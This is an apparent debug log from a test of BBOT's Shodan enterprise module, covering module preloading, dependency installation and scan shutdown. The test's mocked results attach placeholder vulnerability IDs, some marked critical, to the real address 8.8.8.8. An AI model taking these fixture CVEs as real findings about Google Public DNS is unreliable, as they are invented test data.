'in-scope'}) passed post-check +2026-03-02 09:06:10,312 [DEBUG] bbot.modules.output.python base.py:1563 Got TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'dns', 'in-scope'}) from shodan_enterprise +2026-03-02 09:06:10,312 [DEBUG] bbot.modules.output.python base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'dns', 'in-scope'}) passed post-check +2026-03-02 09:06:10,312 [DEBUG] bbot.modules.output.python base.py:1563 Got ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'public-dns', 'cloud', 'verified'}) from shodan_enterprise +2026-03-02 09:06:10,313 [DEBUG] bbot.modules.output.python base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'public-dns', 'cloud', 'verified'}) passed post-check +2026-03-02 09:06:10,313 [DEBUG] bbot.modules.output.python base.py:1563 Got VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'in-scope', 'critical'}) from shodan_enterprise +2026-03-02 09:06:10,313 [DEBUG] bbot.modules.output.python base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'in-scope', 'critical'}) passed post-check +2026-03-02 09:06:10,313 [DEBUG] bbot.modules.output.python base.py:1563 Got TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'dns', 'nameserver', 'in-scope'}) from shodan_enterprise +2026-03-02 09:06:10,314 [DEBUG] bbot.modules.output.python base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'dns', 'nameserver', 'in-scope'}) passed post-check +2026-03-02 09:06:10,314 [DEBUG] bbot.modules.output.python base.py:1563 Got VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'in-scope', 'low'}) from shodan_enterprise +2026-03-02 09:06:10,314 [DEBUG] bbot.modules.output.python base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'in-scope', 'low'}) passed post-check +2026-03-02 09:06:10,314 [INFO] bbot.scanner scanner.py:790 Finishing scan +2026-03-02 09:06:10,315 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) because its type is FINISHED +2026-03-02 09:06:10,315 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'unarchive'}) because its type is FINISHED +2026-03-02 09:06:10,315 [DEBUG] bbot.modules.output.python base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'python'}) because its type is FINISHED +2026-03-02 09:06:10,315 [VERBOSE] bbot.scanner logger.py:151 Completed finish() +2026-03-02 09:06:10,316 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to FINISHING +2026-03-02 09:06:10,316 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) from None +2026-03-02 09:06:10,316 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Got FINISHED("FINISHED", module=None, tags={'unarchive'}) from None +2026-03-02 09:06:10,417 [DEBUG] bbot.modules.output.python base.py:1563 Got FINISHED("FINISHED", module=None, tags={'python'}) from None +2026-03-02 09:06:10,418 [VERBOSE] bbot.scanner logger.py:151 Completed final finish() +2026-03-02 09:06:10,427 [DEBUG] bbot.scanner scanner.py:1176 Cancelling all scan tasks +2026-03-02 09:06:10,427 [DEBUG] bbot.scanner scanner.py:1176 Finished cancelling all scan tasks +2026-03-02 09:06:10,428 [DEBUG] bbot.scanner scanner.py:1176 Awaiting 42 tasks +2026-03-02 09:06:10,432 [DEBUG] bbot.scanner scanner.py:1176 Awaited 42 tasks +2026-03-02 09:06:10,432 [VERBOSE] bbot.core.dnshelper logger.py:151 EngineClient DNSHelper: shutting down... +2026-03-02 09:06:10,433 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to CLEANING_UP +2026-03-02 09:06:10,433 [VERBOSE] bbot.core.dnsengine logger.py:151 EngineServer DNSEngine got shutdown signal +2026-03-02 09:06:10,433 [VERBOSE] bbot.core.dnsengine logger.py:151 EngineServer DNSEngine: shutting down... +2026-03-02 09:06:10,434 [VERBOSE] bbot.core.dnsengine logger.py:151 EngineServer DNSEngine: finished shutting down +2026-03-02 09:06:10,501 [HUGESUCCESS] bbot.scanner logger.py:151 Scan testshodan_enterprise_test_p5zhnund7e completed in 0 seconds with status FINISHED +2026-03-02 09:06:10,502 [DEBUG] bbot base.py:113 Finished shodan_enterprise module test +2026-03-02 09:06:10,503 [DEBUG] asyncio selector_events.py:64 Using selector: KqueueSelector +2026-03-02 09:06:10,504 [CRITICAL] bbot test_module_shodan_enterprise.py:66 Found 1 ASN events +2026-03-02 09:06:10,504 [CRITICAL] bbot test_module_shodan_enterprise.py:77 TCP ports: ['8.8.8.8:53'], UDP ports: ['8.8.8.8:53'] +2026-03-02 09:06:10,504 [HUGEWARNING] bbot logger.py:151 Vulnerabilities observed: {'CVE-2021-12345': 'HIGH', 'CVE-2022-11111': 'CRITICAL', 'CVE-2020-00001': 'LOW'} +2026-03-02 09:06:10,504 [INFO] bbot.test.shodan_enterprise base.py:125 Finished shodan_enterprise module test +2026-03-02 09:06:10,505 [INFO] bbot.test.shodan_enterprise base.py:131 No unfinished tasks detected +2026-03-02 09:12:58,466 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/output +2026-03-02 09:12:58,474 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache +2026-03-02 09:12:58,475 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache +2026-03-02 09:12:58,476 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache +2026-03-02 09:12:58,476 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache +2026-03-02 09:12:58,477 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache +2026-03-02 09:12:58,477 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache +2026-03-02 09:12:58,478 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache +2026-03-02 09:12:58,478 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache +2026-03-02 09:12:58,479 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache +2026-03-02 09:12:58,479 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache +2026-03-02 09:12:58,480 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache +2026-03-02 09:12:58,480 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache +2026-03-02 09:12:58,481 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache +2026-03-02 09:12:58,481 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache +2026-03-02 09:12:58,482 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache +2026-03-02 09:12:58,482 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache +2026-03-02 09:12:58,483 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache +2026-03-02 09:12:58,483 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache +2026-03-02 09:12:58,484 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache +2026-03-02 09:12:58,484 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache +2026-03-02 09:12:58,485 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache +2026-03-02 09:12:58,485 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/internal +2026-03-02 09:12:58,486 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache +2026-03-02 09:12:58,486 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache +2026-03-02 09:12:58,487 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache +2026-03-02 09:12:58,487 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache +2026-03-02 09:12:58,488 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache +2026-03-02 09:12:58,488 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache +2026-03-02 09:12:58,488 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/deadly +2026-03-02 09:12:58,489 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache +2026-03-02 09:12:58,489 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules +2026-03-02 09:12:58,490 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache +2026-03-02 09:12:58,490 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache +2026-03-02 09:12:58,491 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache +2026-03-02 09:12:58,491 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache +2026-03-02 09:12:58,491 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache +2026-03-02 09:12:58,492 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache +2026-03-02 09:12:58,492 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache +2026-03-02 09:12:58,493 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache +2026-03-02 09:12:58,493 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache +2026-03-02 09:12:58,493 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache +2026-03-02 09:12:58,493 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache +2026-03-02 09:12:58,496 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache +2026-03-02 09:12:58,496 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache +2026-03-02 09:12:58,497 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache +2026-03-02 09:12:58,497 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache +2026-03-02 09:12:58,498 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache +2026-03-02 09:12:58,498 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache +2026-03-02 09:12:58,498 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache +2026-03-02 09:12:58,499 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache +2026-03-02 09:12:58,499 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache +2026-03-02 09:12:58,500 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache +2026-03-02 09:12:58,500 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache +2026-03-02 09:12:58,501 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache +2026-03-02 09:12:58,501 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache +2026-03-02 09:12:58,501 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache +2026-03-02 09:12:58,502 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache +2026-03-02 09:12:58,502 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache +2026-03-02 09:12:58,503 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache +2026-03-02 09:12:58,503 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache +2026-03-02 09:12:58,503 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache +2026-03-02 09:12:58,504 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache +2026-03-02 09:12:58,504 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache +2026-03-02 09:12:58,504 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache +2026-03-02 09:12:58,505 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache +2026-03-02 09:12:58,505 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache +2026-03-02 09:12:58,506 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache +2026-03-02 09:12:58,506 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache +2026-03-02 09:12:58,509 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache +2026-03-02 09:12:58,510 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache +2026-03-02 09:12:58,510 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache +2026-03-02 09:12:58,511 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache +2026-03-02 09:12:58,511 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache +2026-03-02 09:12:58,512 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache +2026-03-02 09:12:58,512 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache +2026-03-02 09:12:58,512 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache +2026-03-02 09:12:58,513 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache +2026-03-02 09:12:58,513 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache +2026-03-02 09:12:58,514 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache +2026-03-02 09:12:58,514 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache +2026-03-02 09:12:58,515 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache +2026-03-02 09:12:58,515 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache +2026-03-02 09:12:58,516 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache +2026-03-02 09:12:58,516 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache +2026-03-02 09:12:58,517 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache +2026-03-02 09:12:58,517 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache +2026-03-02 09:12:58,517 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache +2026-03-02 09:12:58,518 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache +2026-03-02 09:12:58,518 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache +2026-03-02 09:12:58,518 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache +2026-03-02 09:12:58,519 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache +2026-03-02 09:12:58,519 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache +2026-03-02 09:12:58,520 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache +2026-03-02 09:12:58,520 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache +2026-03-02 09:12:58,521 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache +2026-03-02 09:12:58,521 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache +2026-03-02 09:12:58,522 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache +2026-03-02 09:12:58,522 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache +2026-03-02 09:12:58,523 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache +2026-03-02 09:12:58,523 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache +2026-03-02 09:12:58,523 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache +2026-03-02 09:12:58,524 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache +2026-03-02 09:12:58,524 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache +2026-03-02 09:12:58,525 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache +2026-03-02 09:12:58,525 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache +2026-03-02 09:12:58,525 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache +2026-03-02 09:12:58,526 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache +2026-03-02 09:12:58,526 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache +2026-03-02 09:12:58,527 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache +2026-03-02 09:12:58,527 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache +2026-03-02 09:12:58,527 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache +2026-03-02 09:12:58,528 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache +2026-03-02 09:12:58,528 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache +2026-03-02 09:12:58,529 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache +2026-03-02 09:12:58,529 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache +2026-03-02 09:12:58,529 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache +2026-03-02 09:12:58,530 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache +2026-03-02 09:12:58,530 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache +2026-03-02 09:12:58,531 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache +2026-03-02 09:12:58,531 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache +2026-03-02 09:12:58,531 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache +2026-03-02 09:12:58,532 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache +2026-03-02 09:12:58,532 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache +2026-03-02 09:12:58,533 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache +2026-03-02 09:12:58,533 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache +2026-03-02 09:12:58,534 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache +2026-03-02 09:12:58,534 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache +2026-03-02 09:12:58,535 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache +2026-03-02 09:12:58,535 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache +2026-03-02 09:12:58,535 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache +2026-03-02 09:12:58,536 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache +2026-03-02 09:12:58,536 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache +2026-03-02 09:12:58,537 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache +2026-03-02 09:12:58,537 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache +2026-03-02 09:12:58,538 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache +2026-03-02 09:12:58,538 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache +2026-03-02 09:12:58,538 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache +2026-03-02 09:12:58,539 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache +2026-03-02 09:12:58,539 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache +2026-03-02 09:12:58,540 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache +2026-03-02 09:12:58,540 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache +2026-03-02 09:12:58,540 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache +2026-03-02 09:12:58,541 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache +2026-03-02 09:12:58,541 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache +2026-03-02 09:12:58,542 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache +2026-03-02 09:12:58,542 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache +2026-03-02 09:12:58,542 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/templates +2026-03-02 09:12:58,543 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/report +2026-03-02 09:12:58,543 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache +2026-03-02 09:12:58,544 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache +2026-03-02 09:12:58,544 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules +2026-03-02 09:12:58,544 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk +2026-03-02 09:12:58,545 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module +2026-03-02 09:12:58,545 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk +2026-03-02 09:12:58,546 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module +2026-03-02 09:12:58,547 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk +2026-03-02 09:12:58,548 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module +2026-03-02 09:12:58,548 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk +2026-03-02 09:12:58,551 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module +2026-03-02 09:12:58,552 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk +2026-03-02 09:12:58,553 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module +2026-03-02 09:12:58,553 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk +2026-03-02 09:12:58,554 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module +2026-03-02 09:12:58,555 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk +2026-03-02 09:12:58,555 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module +2026-03-02 09:12:58,556 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk +2026-03-02 09:12:58,556 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module +2026-03-02 09:12:58,556 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz +2026-03-02 09:12:58,557 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache +2026-03-02 09:12:59,375 [DEBUG] asyncio selector_events.py:64 Using selector: KqueueSelector +2026-03-02 09:12:59,375 [DEBUG] asyncio selector_events.py:64 Using selector: KqueueSelector +2026-03-02 09:12:59,375 [INFO] bbot base.py:99 Starting shodan_enterprise module test +2026-03-02 09:12:59,473 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked +2026-03-02 09:12:59,862 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" +2026-03-02 09:12:59,862 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" +2026-03-02 09:12:59,863 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" +2026-03-02 09:12:59,863 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" +2026-03-02 09:12:59,996 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. +2026-03-02 09:12:59,997 [DEBUG] bbot base.py:103 Mocking DNS +2026-03-02 09:13:00,104 [DEBUG] bbot base.py:105 Executing setup_before_prep() +2026-03-02 09:13:00,107 [DEBUG] bbot base.py:107 Executing scan._prep() +2026-03-02 09:13:00,132 [HUGEINFO] bbot.scanner logger.py:151 Scan seeded with 1 targets (1 in whitelist) +2026-03-02 09:13:00,134 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection +2026-03-02 09:13:00,134 [HUGEVERBOSE] bbot.core.helpers.command logger.py:151 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-tTmN0996-py3.13/bin/ansible-galaxy collection install community.general +2026-03-02 09:13:00,545 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection +2026-03-02 09:13:00,546 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers +2026-03-02 09:13:07,629 [SUCCESS] bbot.core.helpers.depsinstaller logger.py:151 Authentication successful +2026-03-02 09:13:07,630 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) +2026-03-02 09:13:07,630 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { + "hosts": "all", + "tasks": [ + { + "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", + "package": { + "name": [ + "libssl-dev", + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Debian'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", + "package": { + "name": [ + "openssl", + "openssl-devel" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Arch)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Archlinux'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Alpine)", + "package": { + "name": [ + "openssl", + "openssl-dev" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Alpine'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (FreeBSD)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'FreeBSD'", + "ignore_errors": true + } + ] +} +2026-03-02 09:13:09,464 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful +2026-03-02 09:13:09,465 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 +2026-03-02 09:13:09,469 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-03-02 09:13:09,469 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" +2026-03-02 09:13:09,469 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-03-02 09:13:09,469 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" +2026-03-02 09:13:09,470 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-03-02 09:13:09,470 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" +2026-03-02 09:13:09,471 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-03-02 09:13:09,471 [HUGEINFO] bbot.core.helpers.depsinstaller logger.py:151 Installing module dependencies. Please be patient, this may take a while. +2026-03-02 09:13:09,471 [VERBOSE] bbot.core.helpers.depsinstaller logger.py:151 Installing dependencies for module "shodan_enterprise" +2026-03-02 09:13:09,471 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan +2026-03-02 09:13:09,473 [HUGEVERBOSE] bbot.core.helpers.command logger.py:151 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-tTmN0996-py3.13/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/do47kbp8n30b3a4w0b06 +2026-03-02 09:13:10,186 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in 